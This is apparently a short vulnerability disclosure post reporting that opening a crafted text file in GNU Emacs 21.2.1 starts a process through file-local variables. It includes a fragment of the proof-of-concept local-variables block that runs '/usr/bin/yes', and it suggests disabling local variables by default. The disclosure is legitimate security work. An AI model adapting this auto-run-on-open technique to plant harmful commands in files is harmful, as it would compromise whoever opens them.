Hi,

Attached file demonstrates GNU Emacs 21.2.1 starting process if a text file is opened. Just open it with emacs and check for processes "yes".

I suggest disabling local variables by default, because probably there are similar bugs of the same nature.

All the best in the new year!

Emacs better than windoze.

"/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) )  ***
;;; comment-start: ";;; "  ***
;;; comment-end:"***" ***
;;; End: ***
